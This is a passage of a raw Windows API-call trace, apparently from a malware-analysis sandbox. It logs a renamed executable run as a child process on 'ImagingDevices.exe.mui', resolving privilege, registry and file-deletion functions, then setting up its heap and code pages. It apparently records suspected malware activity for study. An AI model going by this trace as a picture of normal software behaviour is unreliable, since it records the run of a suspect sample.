[0090.482] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0090.482] GetProcessHeap () returned 0x4f0000 [0090.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502dc8 | out: hHeap=0x4f0000) returned 1 [0090.482] GetEnvironmentStringsW () returned 0x502bc8* [0090.482] GetProcessHeap () returned 0x4f0000 [0090.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb94) returned 0x507530 [0090.482] FreeEnvironmentStringsW (penv=0x502bc8) returned 1 [0090.482] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0092.011] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1ef498 | out: lpExitCode=0x1ef498*=0x1) returned 1 [0092.012] CloseHandle (hObject=0x78) returned 1 [0092.012] _vsnwprintf (in: _Buffer=0x1ef5e0, _BufferCount=0x13, _Format="%08X", _ArgList=0x1ef4a4 | out: _Buffer="00000001") returned 8 [0092.012] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0092.012] GetProcessHeap () returned 0x4f0000 [0092.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507530 | out: hHeap=0x4f0000) returned 1 [0092.012] GetEnvironmentStringsW () returned 0x502bc8* [0092.012] GetProcessHeap () returned 0x4f0000 [0092.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb94) returned 0x507530 [0092.012] FreeEnvironmentStringsW (penv=0x502bc8) returned 1 [0092.012] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0092.012] GetProcessHeap () returned 0x4f0000 [0092.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x507530 | out: hHeap=0x4f0000) returned 1 [0092.012] GetEnvironmentStringsW () returned 0x502bc8* [0092.012] GetProcessHeap () returned 0x4f0000 [0092.012] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xb94) returned 0x507530 [0092.012] FreeEnvironmentStringsW (penv=0x502bc8) returned 1 [0092.012] GetProcessHeap () returned 0x4f0000 [0092.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x500108 | out: hHeap=0x4f0000) returned 1 [0092.012] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ef4fc | out: lpAttributeList=0x1ef4fc) [0092.012] _get_osfhandle (_FileHandle=1) returned 0x80 [0092.012] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0092.013] _get_osfhandle (_FileHandle=1) returned 0x80 [0092.013] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0092.013] _get_osfhandle (_FileHandle=0) returned 0x3 [0092.013] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0092.013] SetConsoleInputExeNameW () returned 0x1 [0092.013] GetConsoleOutputCP () returned 0x1b5 [0092.013] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0092.013] SetThreadUILanguage (LangId=0x0) returned 0x409 [0092.013] exit (_Code=1) Process: id = "167" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x10bf000" os_pid = "0xd5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "166" os_parent_pid = "0xd54" cmd_line = "bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 727 os_tid = 0xd60 [0091.548] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0091.548] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0091.549] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0091.550] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0091.551] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0091.552] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0091.553] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0091.554] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0091.554] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0091.554] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0091.554] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0091.554] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0091.554] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0091.554] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0091.554] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0091.554] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0091.554] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0091.554] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0091.554] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0091.554] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0091.554] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0091.554] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0091.555] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0091.555] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0091.555] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0091.555] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0091.555] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0091.555] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0091.555] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0091.555] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0091.555] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0091.555] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0091.555] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0091.555] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0091.555] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0091.555] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0091.555] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0091.556] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0091.556] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0091.556] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0091.556] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0091.556] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0091.556] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0091.566] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0091.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xda1f49a0, dwHighDateTime=0x1d5d06a)) [0091.566] GetCurrentThreadId () returned 0xd60 [0091.566] GetCurrentProcessId () returned 0xd5c [0091.566] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=23351872670) returned 1 [0091.567] GetProcessHeap () returned 0x570000 [0091.567] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0091.567] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0091.567] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0091.567] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0091.568] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0091.569] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0091.570] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0091.570] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0091.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3bc) returned 0x5870d0 [0091.570] GetCurrentThreadId () returned 0xd60 [0091.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x587498 [0091.570] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x5874b8 [0091.570] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0xb42bd5d1, hStdError=0x0)) [0091.570] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0091.570] GetFileType (hFile=0x3) returned 0x2 [0091.699] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0091.699] GetFileType (hFile=0x80) returned 0x3 [0091.700] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0091.700] GetFileType (hFile=0xb) returned 0x2 [0091.700] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"ImagingDevices.exe.mui\" -nobanner" [0091.700] GetEnvironmentStringsW () returned 0x587cc0* [0091.700] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb94) returned 0x588860 [0091.700] FreeEnvironmentStringsW (penv=0x587cc0) returned 1 [0091.701] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x88) returned 0x587cc0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xa0) returned 0x587d50 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3e) returned 0x584e00 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6c) returned 0x587df8 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6e) returned 0x587e70 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x78) returned 0x57f930 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x62) returned 0x587ee8 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x587f58 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x587f90 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x38) returned 0x587fe0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x588020 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x586aa0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4a) returned 0x588050 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x57f9b0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x5880a8 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x5880e0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1c) returned 0x586ac8 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd2) returned 0x588118 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x7c) returned 0x5881f8 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x588280 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3a) returned 0x584e48 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x90) returned 0x5882c0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x588358 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x588388 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x5883c0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x588400 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x588450 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x584e90 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x5884b0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x82) returned 0x5884d0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x588560 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1e) returned 0x586af0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2c) returned 0x588598 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x5885d0 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x588630 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2a) returned 0x588690 [0091.701] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x584ed8 [0091.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x5886c8 [0091.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x588728 [0091.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x588758 [0091.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x8c) returned 0x588790 [0091.702] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588860 | out: hHeap=0x570000) returned 1 [0091.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x588828 [0091.702] GetLastError () returned 0x0 [0091.702] SetLastError (dwErrCode=0x0) [0091.702] GetLastError () returned 0x0 [0091.702] SetLastError (dwErrCode=0x0) [0091.702] GetLastError () returned 0x0 [0091.702] SetLastError (dwErrCode=0x0) [0091.702] GetACP () returned 0x4e4 [0091.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x220) returned 0x589030 [0091.703] GetLastError () returned 0x0 [0091.703] SetLastError (dwErrCode=0x0) [0091.703] IsValidCodePage (CodePage=0x4e4) returned 1 [0091.703] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0091.703] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0091.703] GetLastError () returned 0x0 [0091.703] SetLastError (dwErrCode=0x0) [0091.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 